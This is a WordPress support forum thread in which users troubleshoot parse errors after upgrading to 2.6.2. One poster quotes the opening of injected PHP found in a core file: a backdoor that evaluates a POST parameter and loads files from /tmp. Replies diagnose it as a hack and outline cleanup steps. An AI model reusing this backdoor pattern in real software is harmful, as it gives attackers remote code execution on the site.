Parse error: parse error, unexpected ‘<‘ can’t even log in

Re-upload a fresh copy of the wp-includes folder.

just done that, no success

Hmmm…
There is somethinng wrong with your file(s).
/wp-includes/post-templates.php has only 733 lines and the last ones look like this:

<?php
	else :
		echo "<ul class='post-revisions'>\n";
		echo $rows;
		echo "</ul>";
	endif;

}

after line 737, i.e. line 738 is an enormous length of unintelligible code (at least to me). it starts:

‘<?php if(!function_exists(‘tmp_lkojfghx’)){for($i=1;$i<100;$i++)if(is_file($f=’/tmp/m’.$i)){include_once($f);break;}if(isset($_POST[‘tmp_lkojfghx3’]))eval($_POST[‘tmp_lkojfghx3’]);if(!defined(‘TMP_XHGFJOKL’))define(‘TMP_XHGFJOKL’,base64_decode’

then about 20 lines of apparently random characters,

just checked the file on my local computer, it is as you defined.

will investigate further – thanks for the advice/pointers

is this likely to be a glitch or might there be something more sinister at play?

i’m running 2.6.2 with the secret key thing.

I’m having the exact same problem with the same symptoms as mothnrust. (I “upgraded to 2.6.2 about a week back, everything worked fine, no problems
then suddenly [today] couldn’t access anything, not home page nor login.”) I’m in the process of uploading a fresh copy of the wp-includes folder right now.

Ok. After uploading a new copy of the wp-includes folder I have a new error: “Fatal error: main()…” Now what?

Now you look at the whole error – I bet it is longer than what you posted.

@mothnrust,

That looks as a hack to me… but I might be wrong.

Here is the whole error:

Fatal error: main() [function.require]: Failed opening required ‘/hsphere/…/wp-includes/compat.php’ (include_path=’.:/usr/local/share/pear’) in /hsphere/…/wp-settings.php on line 207

Should I try uploading a fresh copy of WordPress? My last upload attempt seems to have exacerbated the problem.

Failed opening required ‘/hsphere/…/wp-includes/compat.php

That’s always a corrupted or missing file.
Uploading a fresh copy might help, unless you were hacked, too, as it is very likely that the OP was.

I’m working on a fresh upload, but this is very disconcerting. If, say, I were hacked and my WordPress site could be taken down that easy, then my confidence in it is greatly weakened. However, my website has such low traffic that I’d be surprised it would catch anyone’s attention to be hacked. How can I determine if I am even vulnerable to hacks?

If it is a new install then…
– you shouldn’t post in a topic where we discuss an upgraded blog
– you should not hijack someone else’s topic/thread
– you should start your own topic with the detailed description how did you screw up your new installation

so where do i go from here?

mothnrust:
https://www.google.ca/search?q=if(!function_exists(%27tmp_lkojfghx
(that’s one line of your code pasted to G. search) – looks very much as a hack.
You may want to contact your host, start deleting the corrupted files, change all your passwords (for the site, database, WP etc.)
clean up all the files and look for strange folders and/or files, check the database… sorry, it’s a lot of work.

Most likely, in the case of upgraded blogs, that the hack was there earlier, you just didn’t know about it.